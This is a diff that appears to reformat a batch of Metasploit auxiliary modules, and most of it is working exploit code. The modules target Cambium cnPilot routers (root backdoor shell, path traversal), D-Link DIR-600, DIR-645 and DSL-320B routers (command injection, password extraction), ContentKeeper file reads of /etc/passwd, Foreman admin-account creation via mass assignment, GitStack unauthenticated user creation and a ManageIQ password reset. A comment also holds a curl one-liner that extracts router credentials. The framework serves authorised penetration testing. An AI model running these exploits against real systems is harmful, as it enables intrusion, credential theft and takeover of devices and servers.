'user_name' => datastore['TARGETUSERNAME'],
'user_password' => datastore['TARGETPASSWORD']
}
)
@ -84,7 +82,7 @@ class MetasploitModule < Msf::Auxiliary
end
if res.body =~ /"Error: (.*)"/
print_error($1)
print_error(::Regexp.last_match(1))
false
else
true
@ -94,10 +92,10 @@ class MetasploitModule < Msf::Auxiliary
def run
print_status("Logging into #{target_url('dashboard')}...")
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'dashboard', 'authenticate'),
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'dashboard', 'authenticate'),
'vars_post' => {
'user_name' => datastore['USERNAME'],
'user_name' => datastore['USERNAME'],
'user_password' => datastore['PASSWORD']
}
)
@ -108,10 +106,10 @@ class MetasploitModule < Msf::Auxiliary
end
if res.body =~ /"Error: (.*)"/
print_error($1)
print_error(::Regexp.last_match(1))
return
else
session = $1 if res.get_cookies =~ /_vmdb_session=(\h*)/
session = ::Regexp.last_match(1) if res.get_cookies =~ /_vmdb_session=(\h*)/
if session.nil?
print_error('Failed to retrieve the current session id')
@ -122,9 +120,9 @@ class MetasploitModule < Msf::Auxiliary
# Newer versions don't accept POST requests.
print_status("Sending password-reset request to #{target_url('miq_policy', 'explorer')}...")
send_request_cgi(
'cookie' => "_vmdb_session=#{session}",
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'miq_policy', 'explorer'),
'cookie' => "_vmdb_session=#{session}",
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'miq_policy', 'explorer'),
'vars_get' => {
'profile[]' => value_for_newer_schema
}
@ -141,7 +139,7 @@ class MetasploitModule < Msf::Auxiliary
send_request_cgi(
'cookie' => "_vmdb_session=#{session}",
'method' => datastore['HTTP_METHOD'],
'uri' => normalize_uri(target_uri.path, 'miq_policy', 'explorer'),
'uri' => normalize_uri(target_uri.path, 'miq_policy', 'explorer'),
"vars_#{datastore['HTTP_METHOD'].downcase}" => {
'profile[]' => value_for_older_schema
}

View File

@ -7,25 +7,25 @@ class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::CNPILOT
def initialize(info = {})
super(update_info(info,
'Name' => "Cambium cnPilot r200/r201 Command Execution as 'root'",
'Description' => %{
Cambium cnPilot r200/r201 device software versions 4.2.3-R4 to
4.3.3-R4, contain an undocumented, backdoor 'root' shell. This shell is
accessible via a specific url, to any authenticated user. The module uses this
shell to execute arbitrary system commands as 'root'.
},
'Author' =>
[
super(
update_info(
info,
'Name' => "Cambium cnPilot r200/r201 Command Execution as 'root'",
'Description' => %q{
Cambium cnPilot r200/r201 device software versions 4.2.3-R4 to
4.3.3-R4, contain an undocumented, backdoor 'root' shell. This shell is
accessible via a specific url, to any authenticated user. The module uses this
shell to execute arbitrary system commands as 'root'.
},
'Author' => [
'Karn Ganeshen <KarnGaneshen[at]gmail.com>'
],
'References' =>
[
'References' => [
['CVE', '2017-5259'],
['URL', 'https://www.rapid7.com/blog/post/2017/12/19/r7-2017-25-cambium-epmp-and-cnpilot-multiple-vulnerabilities/']
],
'License' => MSF_LICENSE
)
'License' => MSF_LICENSE
)
)
register_options(
@ -41,7 +41,7 @@ class MetasploitModule < Msf::Auxiliary
deregister_options('DB_ALL_CREDS', 'DB_ALL_PASS', 'DB_ALL_USERS', 'USER_AS_PASS', 'USERPASS_FILE', 'USER_FILE', 'PASS_FILE', 'BLANK_PASSWORDS', 'BRUTEFORCE_SPEED', 'STOP_ON_SUCCESS')
end
def run_host(ip)
def run_host(_ip)
unless is_app_cnpilot?
return
end
@ -51,7 +51,7 @@ class MetasploitModule < Msf::Auxiliary
def cmd_exec_run(the_cookie)
# Verify backdoor 'root' shell url exists
root_shell = "#{(ssl ? 'https' : 'http')}" + '://' + "#{rhost}:#{rport}" + '/adm/syscmd.asp'
root_shell = (ssl ? 'https' : 'http').to_s + '://' + "#{rhost}:#{rport}" + '/adm/syscmd.asp'
print_status("#{rhost}:#{rport} - Checking backdoor 'root' shell...")
res = send_request_cgi(
@ -109,13 +109,13 @@ class MetasploitModule < Msf::Auxiliary
if search_result.nil?
print_status('Command run did not return any results or invalid command. Note that cnPilot devices only have a restricted *nix command-set.')
else
print_good("#{search_result}")
print_good(search_result.to_s)
# w00t we got l00t
loot_name = 'cmd-exec-log'
loot_type = 'text/plain'
loot_desc = 'Cambium cnPilot CMD Exec Results'
data = "#{search_result}"
data = search_result.to_s
p = store_loot(loot_name, loot_type, datastore['RHOST'], data, loot_desc)
print_good("File saved in: #{p}")
end

View File

@ -7,24 +7,24 @@ class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::CNPILOT
def initialize(info = {})
super(update_info(info,
'Name' => 'Cambium cnPilot r200/r201 File Path Traversal',
'Description' => %{
This module exploits a File Path Traversal vulnerability in Cambium
cnPilot r200/r201 to read arbitrary files off the file system. Affected
versions - 4.3.3-R4 and prior.
},
'Author' =>
[
super(
update_info(
info,
'Name' => 'Cambium cnPilot r200/r201 File Path Traversal',
'Description' => %q{
This module exploits a File Path Traversal vulnerability in Cambium
cnPilot r200/r201 to read arbitrary files off the file system. Affected
versions - 4.3.3-R4 and prior.
},
'Author' => [
'Karn Ganeshen <KarnGaneshen[at]gmail.com>'
],
'References' =>
[
'References' => [
['CVE', '2017-5261'],
['URL', 'https://www.rapid7.com/blog/post/2017/12/19/r7-2017-25-cambium-epmp-and-cnpilot-multiple-vulnerabilities/']
],
'License' => MSF_LICENSE
)
'License' => MSF_LICENSE
)
)
register_options(
@ -40,7 +40,7 @@ class MetasploitModule < Msf::Auxiliary
deregister_options('DB_ALL_CREDS', 'DB_ALL_PASS', 'DB_ALL_USERS', 'USER_AS_PASS', 'USERPASS_FILE', 'USER_FILE', 'PASS_FILE', 'BLANK_PASSWORDS', 'BRUTEFORCE_SPEED', 'STOP_ON_SUCCESS')
end
def run_host(ip)
def run_host(_ip)
unless is_app_cnpilot?
return
end
@ -54,7 +54,7 @@ class MetasploitModule < Msf::Auxiliary
print_status("#{rhost}:#{rport} - Accessing the file...")
file = datastore['FILENAME']
fileuri = "/goform/logRead?Readfile=../../../../../../..#{file}"
final_url = "#{(ssl ? 'https' : 'http')}" + '://' + "#{rhost}:#{rport}" + "#{fileuri}"
final_url = (ssl ? 'https' : 'http').to_s + '://' + "#{rhost}:#{rport}" + fileuri.to_s
res = send_request_cgi(
{
@ -70,16 +70,16 @@ class MetasploitModule < Msf::Auxiliary
if res && res.code == 200
results = res.body
if results.size.zero?
if results.empty?
print_status('File not found.')
else
print_good("#{results}")
print_good(results.to_s)
# w00t we got l00t
loot_name = 'fpt-log'
loot_type = 'text/plain'
loot_desc = 'Cambium cnPilot File Path Traversal Results'
data = "#{results}"
data = results.to_s
p = store_loot(loot_name, loot_type, datastore['RHOST'], data, loot_desc)
print_good("File saved in: #{p}")
end

View File

@ -9,60 +9,58 @@ class MetasploitModule < Msf::Auxiliary
def initialize
super(
'Name' => 'ContentKeeper Web Appliance mimencode File Access',
'Name' => 'ContentKeeper Web Appliance mimencode File Access',
'Description' => %q{
This module abuses the 'mimencode' binary present within
ContentKeeper Web filtering appliances to retrieve arbitrary
files outside of the webroot.
},
'References' =>
[
[ 'OSVDB', '54551' ],
[ 'URL', 'http://www.aushack.com/200904-contentkeeper.txt' ],
],
'Author' => [ 'aushack' ],
'License' => MSF_LICENSE)
'References' => [
[ 'OSVDB', '54551' ],
[ 'URL', 'http://www.aushack.com/200904-contentkeeper.txt' ],
],
'Author' => [ 'aushack' ],
'License' => MSF_LICENSE)
register_options(
[
OptString.new('FILE', [ true, 'The file to traverse for', '/etc/passwd']),
OptString.new('URL', [ true, 'The path to mimencode', '/cgi-bin/ck/mimencode']),
])
]
)
end
def run_host(ip)
begin
tmpfile = Rex::Text.rand_text_alphanumeric(20) # Store the base64 encoded traveral data in a hard-to-brute filename, just in case.
def run_host(_ip)
tmpfile = Rex::Text.rand_text_alphanumeric(20) # Store the base64 encoded traveral data in a hard-to-brute filename, just in case.
print_status("Attempting to connect to #{rhost}:#{rport}")
res = send_request_raw(
print_status("Attempting to connect to #{rhost}:#{rport}")
res = send_request_raw(
{
'method' => 'POST',
'uri' => normalize_uri(datastore['URL']) + '?-o+' + '/home/httpd/html/' + tmpfile + '+' + datastore['FILE']
}, 25
)
if (res && (res.code == 500))
print_good("Request appears successful on #{rhost}:#{rport}! Response: #{res.code}")
file = send_request_raw(
{
'method' => 'POST',
'uri' => normalize_uri(datastore['URL']) + '?-o+' + '/home/httpd/html/' + tmpfile + '+' + datastore['FILE'],
}, 25)
'method' => 'GET',
'uri' => '/' + tmpfile
}, 25
)
if (res and res.code == 500)
print_good("Request appears successful on #{rhost}:#{rport}! Response: #{res.code}")
file = send_request_raw(
{
'method' => 'GET',
'uri' => '/' + tmpfile,
}, 25)
if (file and file.code == 200)
print_status("Request for #{datastore['FILE']} appears to have worked on #{rhost}:#{rport}! Response: #{file.code}\r\n#{Rex::Text.decode_base64(file.body)}")
elsif (file and file.code)
print_error("Attempt returned HTTP error #{res.code} on #{rhost}:#{rport} Response: \r\n#{res.body}")
end
elsif (res and res.code)
if (file && (file.code == 200))
print_status("Request for #{datastore['FILE']} appears to have worked on #{rhost}:#{rport}! Response: #{file.code}\r\n#{Rex::Text.decode_base64(file.body)}")
elsif (file && file.code)
print_error("Attempt returned HTTP error #{res.code} on #{rhost}:#{rport} Response: \r\n#{res.body}")
end
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
rescue ::Timeout::Error, ::Errno::EPIPE
elsif (res && res.code)
print_error("Attempt returned HTTP error #{res.code} on #{rhost}:#{rport} Response: \r\n#{res.body}")
end
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
rescue ::Timeout::Error, ::Errno::EPIPE
end
end

View File

@ -7,33 +7,37 @@ class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'D-Link DIR-600 / DIR-300 Unauthenticated Remote Command Execution',
'Description' => %q{
super(
update_info(
info,
'Name' => 'D-Link DIR-600 / DIR-300 Unauthenticated Remote Command Execution',
'Description' => %q{
This module exploits an OS Command Injection vulnerability in some D-Link
Routers like the DIR-600 rev B and the DIR-300 rev B. The vulnerability exists in
command.php, which is accessible without authentication. This module has been
tested with the versions DIR-600 2.14b01 and below, DIR-300 rev B 2.13 and below.
In order to get a remote shell the telnetd could be started without any
authentication.
},
'Author' => [ 'Michael Messner <devnull[at]s3cur1ty.de>' ],
'License' => MSF_LICENSE,
'References' =>
[
Routers like the DIR-600 rev B and the DIR-300 rev B. The vulnerability exists in
command.php, which is accessible without authentication. This module has been
tested with the versions DIR-600 2.14b01 and below, DIR-300 rev B 2.13 and below.
In order to get a remote shell the telnetd could be started without any
authentication.
},
'Author' => [ 'Michael Messner <devnull[at]s3cur1ty.de>' ],
'License' => MSF_LICENSE,
'References' => [
[ 'OSVDB', '89861' ],
[ 'EDB', '24453' ],
[ 'URL', 'https://eu.dlink.com/uk/en/products/dir-600-wireless-n-150-home-router' ],
[ 'URL', 'http://www.s3cur1ty.de/home-network-horror-days' ],
[ 'URL', 'http://www.s3cur1ty.de/m1adv2013-003' ]
],
'DisclosureDate' => '2013-02-04'))
'DisclosureDate' => '2013-02-04'
)
)
register_options(
[
Opt::RPORT(80),
OptString.new('CMD', [ true, 'The command to execute', 'cat var/passwd'])
])
]
)
end
def run
@ -46,19 +50,20 @@ class MetasploitModule < Msf::Auxiliary
begin
res = send_request_cgi(
{
'uri' => uri,
'uri' => uri,
'method' => 'POST',
'data' => data_cmd
})
'data' => data_cmd
}
)
return if res.nil?
return if (res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ HTTP\/1.1,\ DIR/)
return if (res.headers['Server'].nil? || res.headers['Server'] !~ (%r{Linux,\ HTTP/1.1,\ DIR}))
return if res.code == 404
rescue ::Rex::ConnectionError
vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")
return
end
if res.body.include?("end")
if res.body.include?('end')
print_good("#{rhost}:#{rport} - Exploited successfully\n")
print_line("#{rhost}:#{rport} - Command: #{datastore['CMD']}\n")
print_line("#{rhost}:#{rport} - Output: #{res.body}")

View File

@ -9,35 +9,32 @@ class MetasploitModule < Msf::Auxiliary
def initialize
super(
'Name' => 'D-Link DIR 645 Password Extractor',
'Name' => 'D-Link DIR 645 Password Extractor',
'Description' => %q{
This module exploits an authentication bypass vulnerability in DIR 645 < v1.03.
With this vulnerability you are able to extract the password for the remote
management.
},
'References' =>
[
[ 'OSVDB', '90733' ],
[ 'BID', '58231' ],
[ 'PACKETSTORM', '120591' ]
],
'Author' =>
[
'Roberto Paleari <roberto[at]greyhats.it>', # Vulnerability discovery
'Michael Messner <devnull[at]s3cur1ty.de>' # Metasploit module
],
'License' => MSF_LICENSE
'References' => [
[ 'OSVDB', '90733' ],
[ 'BID', '58231' ],
[ 'PACKETSTORM', '120591' ]
],
'Author' => [
'Roberto Paleari <roberto[at]greyhats.it>', # Vulnerability discovery
'Michael Messner <devnull[at]s3cur1ty.de>' # Metasploit module
],
'License' => MSF_LICENSE
)
end
def run
vprint_status("#{rhost}:#{rport} - Trying to access the configuration of the device")
#Curl request:
#curl -d SERVICES=DEVICE.ACCOUNT http://192.168.178.200/getcfg.php | egrep "\<name|password"
# Curl request:
# curl -d SERVICES=DEVICE.ACCOUNT http://192.168.178.200/getcfg.php | egrep "\<name|password"
#download configuration
# download configuration
begin
res = send_request_cgi({
'uri' => '/getcfg.php',
@ -46,58 +43,55 @@ class MetasploitModule < Msf::Auxiliary
{
'SERVICES' => 'DEVICE.ACCOUNT'
}
})
})
return if res.nil?
return if (res.headers['Server'].nil? or res.headers['Server'] !~ /DIR-645 Ver 1\.0/)
return if (res.headers['Server'].nil? || res.headers['Server'] !~ (/DIR-645 Ver 1\.0/))
return if (res.code == 404)
if res.body =~ /<password>(.*)<\/password>/
if res.body =~ %r{<password>(.*)</password>}
print_good("#{rhost}:#{rport} - credentials successfully extracted")
#store all details as loot -> there is some usefull stuff in the response
loot = store_loot("dlink.dir645.config","text/plain",rhost, res.body)
# store all details as loot -> there is some usefull stuff in the response
loot = store_loot('dlink.dir645.config', 'text/plain', rhost, res.body)
print_good("#{rhost}:#{rport} - Account details downloaded to: #{loot}")
res.body.each_line do |line|
if line =~ /<name>(.*)<\/name>/
@user = $1
if line =~ %r{<name>(.*)</name>}
@user = ::Regexp.last_match(1)
next
end
if line =~ /<password>(.*)<\/password>/
pass = $1
vprint_good("user: #{@user}")
vprint_good("pass: #{pass}")
next unless line =~ %r{<password>(.*)</password>}
pass = ::Regexp.last_match(1)
vprint_good("user: #{@user}")
vprint_good("pass: #{pass}")
connection_details = {
module_fullname: self.fullname,
username: @user,
private_data: pass,
private_type: :password,
workspace_id: myworkspace_id,
proof: line,
last_attempted_at: DateTime.now, # kept in refactor may not be valid, obtained but do not attempted here
status: Metasploit::Model::Login::Status::UNTRIED
}.merge(service_details)
create_credential_and_login(connection_details)
connection_details = {
module_fullname: fullname,
username: @user,
private_data: pass,
private_type: :password,
workspace_id: myworkspace_id,
proof: line,
last_attempted_at: DateTime.now, # kept in refactor may not be valid, obtained but do not attempted here
status: Metasploit::Model::Login::Status::UNTRIED
}.merge(service_details)
create_credential_and_login(connection_details)
report_cred(
ip: rhost,
port: rport,
service_name: 'http',
user: @user,
password: pass,
proof: line
)
end
report_cred(
ip: rhost,
port: rport,
service_name: 'http',
user: @user,
password: pass,
proof: line
)
end
end
rescue ::Rex::ConnectionError
vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")
return
end
end
end

View File

@ -9,29 +9,28 @@ class MetasploitModule < Msf::Auxiliary
def initialize
super(
'Name' => 'D-Link DSL 320B Password Extractor',
'Name' => 'D-Link DSL 320B Password Extractor',
'Description' => %q{
This module exploits an authentication bypass vulnerability in D-Link DSL 320B
<=v1.23. This vulnerability allows to extract the credentials for the remote
management interface.
},
'References' =>
[
[ 'EDB', '25252' ],
[ 'OSVDB', '93013' ],
[ 'URL', 'http://www.s3cur1ty.de/m1adv2013-018' ]
],
'Author' => [
'References' => [
[ 'EDB', '25252' ],
[ 'OSVDB', '93013' ],
[ 'URL', 'http://www.s3cur1ty.de/m1adv2013-018' ]
],
'Author' => [
'Michael Messner <devnull[at]s3cur1ty.de>'
],
'License' => MSF_LICENSE
'License' => MSF_LICENSE
)
end
def run
vprint_status("#{rhost}:#{rport} - Trying to access the configuration of the device")
#download configuration
# download configuration
begin
res = send_request_cgi({
'uri' => '/config.bin',
@ -39,52 +38,49 @@ class MetasploitModule < Msf::Auxiliary
})
return if res.nil?
return if (res.headers['Server'].nil? or res.headers['Server'] !~ /micro_httpd/)
return if (res.headers['Server'].nil? || res.headers['Server'] !~ (/micro_httpd/))
return if (res.code == 404)
if res.body =~ /sysPassword value/ or res.body =~ /sysUserName value/
if res.body =~ (/sysPassword value/) || res.body =~ (/sysUserName value/)
if res.body !~ /sysPassword value/
print_status("#{rhost}:#{rport} - Default Configuration of DSL 320B detected - no password section available, try admin/admin")
else
print_good("#{rhost}:#{rport} - Credentials successfully extracted")
end
#store all details as loot -> there is some usefull stuff in the response
loot = store_loot("dlink.dsl320b.config","text/plain", rhost, res.body)
# store all details as loot -> there is some usefull stuff in the response
loot = store_loot('dlink.dsl320b.config', 'text/plain', rhost, res.body)
print_good("#{rhost}:#{rport} - Configuration of DSL 320B downloaded to: #{loot}")
user = ""
pass = ""
user = ''
pass = ''
res.body.each_line do |line|
if line =~ /\<sysUserName\ value\=\"(.*)\"\/\>/
user = $1
if line =~ %r{<sysUserName\ value="(.*)"/>}
user = ::Regexp.last_match(1)
next
end
if line =~ /\<sysPassword\ value\=\"(.*)\"\/\>/
pass = $1
pass = Rex::Text.decode_base64(pass)
print_good("#{rhost}:#{rport} - Credentials found: #{user} / #{pass}")
next unless line =~ %r{<sysPassword\ value="(.*)"/>}
connection_details = {
module_fullname: self.fullname,
username: user,
private_data: pass,
private_type: :password,
workspace_id: myworkspace_id,
proof: line,
status: Metasploit::Model::Login::Status::UNTRIED
}.merge(service_details)
create_credential_and_login(connection_details)
pass = ::Regexp.last_match(1)
pass = Rex::Text.decode_base64(pass)
print_good("#{rhost}:#{rport} - Credentials found: #{user} / #{pass}")
end
connection_details = {
module_fullname: fullname,
username: user,
private_data: pass,
private_type: :password,
workspace_id: myworkspace_id,
proof: line,
status: Metasploit::Model::Login::Status::UNTRIED
}.merge(service_details)
create_credential_and_login(connection_details)
end
end
rescue ::Rex::ConnectionError
vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")
return
end
end
end

View File

@ -8,25 +8,24 @@ class MetasploitModule < Msf::Auxiliary
def initialize
super(
'Name' => 'Foreman (Red Hat OpenStack/Satellite) users/create Mass Assignment',
'Description' => %q{
'Name' => 'Foreman (Red Hat OpenStack/Satellite) users/create Mass Assignment',
'Description' => %q{
This module exploits a mass assignment vulnerability in the 'create'
action of 'users' controller of Foreman and Red Hat OpenStack/Satellite
(Foreman 1.2.0-RC1 and earlier) by creating an arbitrary administrator
account. For this exploit to work, your account must have 'create_users'
permission (e.g., Manager role).
},
'Author' => 'Ramon de C Valle',
'License' => MSF_LICENSE,
'References' =>
[
['BID', '60835'],
['CVE', '2013-2113'],
['CWE', '915'],
['OSVDB', '94655'],
['URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=966804'],
['URL', 'https://projects.theforeman.org/issues/2630']
],
'Author' => 'Ramon de C Valle',
'License' => MSF_LICENSE,
'References' => [
['BID', '60835'],
['CVE', '2013-2113'],
['CWE', '915'],
['OSVDB', '94655'],
['URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=966804'],
['URL', 'https://projects.theforeman.org/issues/2630']
],
'DisclosureDate' => 'Jun 6 2013'
)
@ -47,10 +46,10 @@ class MetasploitModule < Msf::Auxiliary
def run
print_status("Logging into #{target_url}...")
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'users', 'login'),
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'users', 'login'),
'vars_post' => {
'login[login]' => datastore['USERNAME'],
'login[login]' => datastore['USERNAME'],
'login[password]' => datastore['PASSWORD']
}
)
@ -60,11 +59,11 @@ class MetasploitModule < Msf::Auxiliary
return
end
if res.headers['Location'] =~ /users\/login$/
if res.headers['Location'] =~ %r{users/login$}
print_error('Authentication failed')
return
else
session = $1 if res.get_cookies =~ /_session_id=([0-9a-f]*)/
session = ::Regexp.last_match(1) if res.get_cookies =~ /_session_id=([0-9a-f]*)/
if session.nil?
print_error('Failed to retrieve the current session id')
@ -76,7 +75,7 @@ class MetasploitModule < Msf::Auxiliary
res = send_request_cgi(
'cookie' => "_session_id=#{session}",
'method' => 'GET',
'uri' => normalize_uri(target_uri)
'uri' => normalize_uri(target_uri)
)
if res.nil?
@ -84,16 +83,16 @@ class MetasploitModule < Msf::Auxiliary
return
end
if res.headers['Location'] =~ /users\/login$/
if res.headers['Location'] =~ %r{users/login$}
print_error('Failed to retrieve the CSRF token')
return
else
csrf_param = $1 if res.body =~ /<meta[ ]+content="(.*)"[ ]+name="csrf-param"[ ]*\/?>/i
csrf_token = $1 if res.body =~ /<meta[ ]+content="(.*)"[ ]+name="csrf-token"[ ]*\/?>/i
csrf_param = ::Regexp.last_match(1) if res.body =~ %r{<meta +content="(.*)" +name="csrf-param" */?>}i
csrf_token = ::Regexp.last_match(1) if res.body =~ %r{<meta +content="(.*)" +name="csrf-token" */?>}i
if csrf_param.nil? || csrf_token.nil?
csrf_param = $1 if res.body =~ /<meta[ ]+name="csrf-param"[ ]+content="(.*)"[ ]*\/?>/i
csrf_token = $1 if res.body =~ /<meta[ ]+name="csrf-token"[ ]+content="(.*)"[ ]*\/?>/i
csrf_param = ::Regexp.last_match(1) if res.body =~ %r{<meta +name="csrf-param" +content="(.*)" */?>}i
csrf_token = ::Regexp.last_match(1) if res.body =~ %r{<meta +name="csrf-token" +content="(.*)" */?>}i
end
if csrf_param.nil? || csrf_token.nil?
@ -104,16 +103,16 @@ class MetasploitModule < Msf::Auxiliary
print_status("Sending create-user request to #{target_url('users')}...")
res = send_request_cgi(
'cookie' => "_session_id=#{session}",
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'users'),
'cookie' => "_session_id=#{session}",
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'users'),
'vars_post' => {
csrf_param => csrf_token,
'user[admin]' => 'true',
'user[auth_source_id]' => '1',
'user[login]' => datastore['NEWUSERNAME'],
'user[mail]' => datastore['NEWEMAIL'],
'user[password]' => datastore['NEWPASSWORD'],
csrf_param => csrf_token,
'user[admin]' => 'true',
'user[auth_source_id]' => '1',
'user[login]' => datastore['NEWUSERNAME'],
'user[mail]' => datastore['NEWEMAIL'],
'user[password]' => datastore['NEWPASSWORD'],
'user[password_confirmation]' => datastore['NEWPASSWORD']
}
)

View File

@ -8,45 +8,44 @@ class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Report
def initialize(info = {})
super(update_info(info,
'Name' => 'GitStack Unauthenticated REST API Requests',
'Description' => %q{
This modules exploits unauthenticated REST API requests in GitStack through v2.3.10.
The module supports requests for listing users of the application and listing
available repositories. Additionally, the module can create a user and add the user
to the application's repositories. This module has been tested against GitStack v2.3.10.
},
'Author' =>
[
'Kacper Szurek', # Vulnerability discovery and PoC
'Jacob Robles' # Metasploit module
super(
update_info(
info,
'Name' => 'GitStack Unauthenticated REST API Requests',
'Description' => %q{
This modules exploits unauthenticated REST API requests in GitStack through v2.3.10.
The module supports requests for listing users of the application and listing
available repositories. Additionally, the module can create a user and add the user
to the application's repositories. This module has been tested against GitStack v2.3.10.
},
'Author' => [
'Kacper Szurek', # Vulnerability discovery and PoC
'Jacob Robles' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
'License' => MSF_LICENSE,
'References' => [
['CVE', '2018-5955'],
['EDB', '43777'],
['EDB', '44044']
],
'DisclosureDate' => '2018-01-15',
'Actions' =>
[
'DisclosureDate' => '2018-01-15',
'Actions' => [
[
'LIST',
{
'Description' => 'List application users',
'List' => 'GET',
'UserPath' => '/rest/user/'
'List' => 'GET',
'UserPath' => '/rest/user/'
}
],
[
'CREATE',
{
'Description' => 'Create a user on the application',
'Create' => 'POST',
'List' => 'GET',
'UserPath' => '/rest/user/',
'RepoPath' => '/rest/repository/'
'Create' => 'POST',
'List' => 'GET',
'UserPath' => '/rest/user/',
'RepoPath' => '/rest/repository/'
}
],
# If this is uncommented, you will be able to change an
@ -55,50 +54,53 @@ class MetasploitModule < Msf::Auxiliary
# added to all available repositories.
# The cleanup action removes the user from all repositories
# and then deletes the user... so this action may not be desirable.
#[
#'MODIFY',
#{
#'Description' => "Change the application user's password",
#'Create' => 'PUT',
#'List' => 'GET',
#'UserPath' => '/rest/user/',
#'RepoPath' => '/rest/repository/'
#}
#],
# [
# 'MODIFY',
# {
# 'Description' => "Change the application user's password",
# 'Create' => 'PUT',
# 'List' => 'GET',
# 'UserPath' => '/rest/user/',
# 'RepoPath' => '/rest/repository/'
# }
# ],
[
'LIST_REPOS',
{
'Description' => 'List available repositories',
'List' => 'GET',
'RepoPath' => '/rest/repository/'
'List' => 'GET',
'RepoPath' => '/rest/repository/'
}
],
[
'CLEANUP',
{
'Description' => 'Remove user from repositories and delete user',
'List' => 'GET',
'Remove' => 'DELETE',
'RepoPath' => '/rest/repository/',
'UserPath' => '/rest/user/'
'List' => 'GET',
'Remove' => 'DELETE',
'RepoPath' => '/rest/repository/',
'UserPath' => '/rest/user/'
}
]
],
'DefaultAction' => 'LIST'))
'DefaultAction' => 'LIST'
)
)
register_options(
[
OptString.new('USERNAME', [false, 'User to create or modify', 'msf']),
OptString.new('PASSWORD', [false, 'Password for user', 'password'])
])
]
)
end
def get_users
path = action.opts['UserPath']
begin
res = send_request_cgi({
'uri' => path,
'method' => action.opts['List']
'uri' => path,
'method' => action.opts['List']
})
rescue Rex::ConnectionError, Errno::ECONNRESET => e
print_error("Failed: #{e.class} - #{e.message}")
@ -113,7 +115,7 @@ class MetasploitModule < Msf::Auxiliary
return
end
mylist.each do |item|
print_good("#{item}")
print_good(item.to_s)
end
end
end
@ -122,8 +124,8 @@ class MetasploitModule < Msf::Auxiliary
path = action.opts['RepoPath']
begin
res = send_request_cgi({
'uri' => path,
'method' => action.opts['List']
'uri' => path,
'method' => action.opts['List']
})
rescue Rex::ConnectionError, Errno::ECONNRESET => e
print_error("Failed: #{e.class} - #{e.message}")
@ -145,7 +147,7 @@ class MetasploitModule < Msf::Auxiliary
def clean_app
user = datastore['USERNAME']
unless user
print_error("USERNAME required")
print_error('USERNAME required')
return
end
@ -156,8 +158,8 @@ class MetasploitModule < Msf::Auxiliary
path = "#{action.opts['RepoPath']}#{item['name']}/user/#{user}/"
begin
res = send_request_cgi({
'uri' => path,
'method' => action.opts['Remove']
'uri' => path,
'method' => action.opts['Remove']
})
rescue Rex::ConnectionError, Errno::ECONNRESET => e
print_error("Failed: #{e.class} - #{e.message}")
@ -165,7 +167,7 @@ class MetasploitModule < Msf::Auxiliary
end
if res && res.code == 200
print_good("#{res.body}")
print_good(res.body.to_s)
else
print_status("User #{user} doesn't have access to #{item['name']}")
end
@ -176,8 +178,8 @@ class MetasploitModule < Msf::Auxiliary
path = "#{action.opts['UserPath']}#{user}/"
begin
res = send_request_cgi({
'uri' => path,
'method' => action.opts['Remove']
'uri' => path,
'method' => action.opts['Remove']
})
rescue Rex::ConnectionError, Errno::ECONNRESET => e
print_error("Failed: #{e.class} - #{e.message}")
@ -186,9 +188,9 @@ class MetasploitModule < Msf::Auxiliary
# Check if the account was successfully deleted
if res && res.code == 200
print_good("#{res.body}")
print_good(res.body.to_s)
else
print_error("#{res.body}")
print_error(res.body.to_s)
end
end
@ -198,11 +200,11 @@ class MetasploitModule < Msf::Auxiliary
begin
res = send_request_cgi({
'uri' => action.opts['UserPath'],
'method' => action.opts['Create'],
'vars_post' => {
'username' => user,
'password' => pass
'uri' => action.opts['UserPath'],
'method' => action.opts['Create'],
'vars_post' => {
'username' => user,
'password' => pass
}
})
rescue Rex::ConnectionError, Errno::ECONNRESET => e
@ -212,7 +214,7 @@ class MetasploitModule < Msf::Auxiliary
if res && res.code == 200
print_good("SUCCESS: #{user}:#{pass}")
else
print_error("#{res.body}")
print_error(res.body.to_s)
return
end
@ -222,45 +224,45 @@ class MetasploitModule < Msf::Auxiliary
path = "#{action.opts['RepoPath']}#{item['name']}/user/#{user}/"
begin
res = send_request_cgi({
'uri' => path,
'method' => action.opts['Create']
'uri' => path,
'method' => action.opts['Create']
})
rescue Rex::ConnectionError, Errno::ECONNRESET => e
print_error("Failed: #{e.class} - #{e.message}")
next
end
if res && res.code == 200
print_good("#{res.body}")
print_good(res.body.to_s)
else
print_error("Failed to add user")
print_error("#{res.body}")
print_error('Failed to add user')
print_error(res.body.to_s)
end
end
else
print_error("Failed to retrieve repository list")
print_error('Failed to retrieve repository list')
end
end
def run
if ["LIST"].include?(action.name)
if ['LIST'].include?(action.name)
print_status('Retrieving Users')
get_users
elsif ["LIST_REPOS"].include?(action.name)
elsif ['LIST_REPOS'].include?(action.name)
print_status('Retrieving Repositories')
mylist = get_repos
if mylist
mylist.each do |item|
print_good("#{item['name']}")
print_good((item['name']).to_s)
end
else
print_error("Failed to retrieve repository list")
print_error('Failed to retrieve repository list')
end
elsif ["CLEANUP"].include?(action.name)
elsif ['CLEANUP'].include?(action.name)
clean_app
elsif datastore['USERNAME'] && datastore['PASSWORD']
add_user
else
print_error("USERNAME and PASSWORD required")
print_error('USERNAME and PASSWORD required')
end
end
end

View File

@ -7,41 +7,45 @@ class MetasploitModule < Msf::Auxiliary
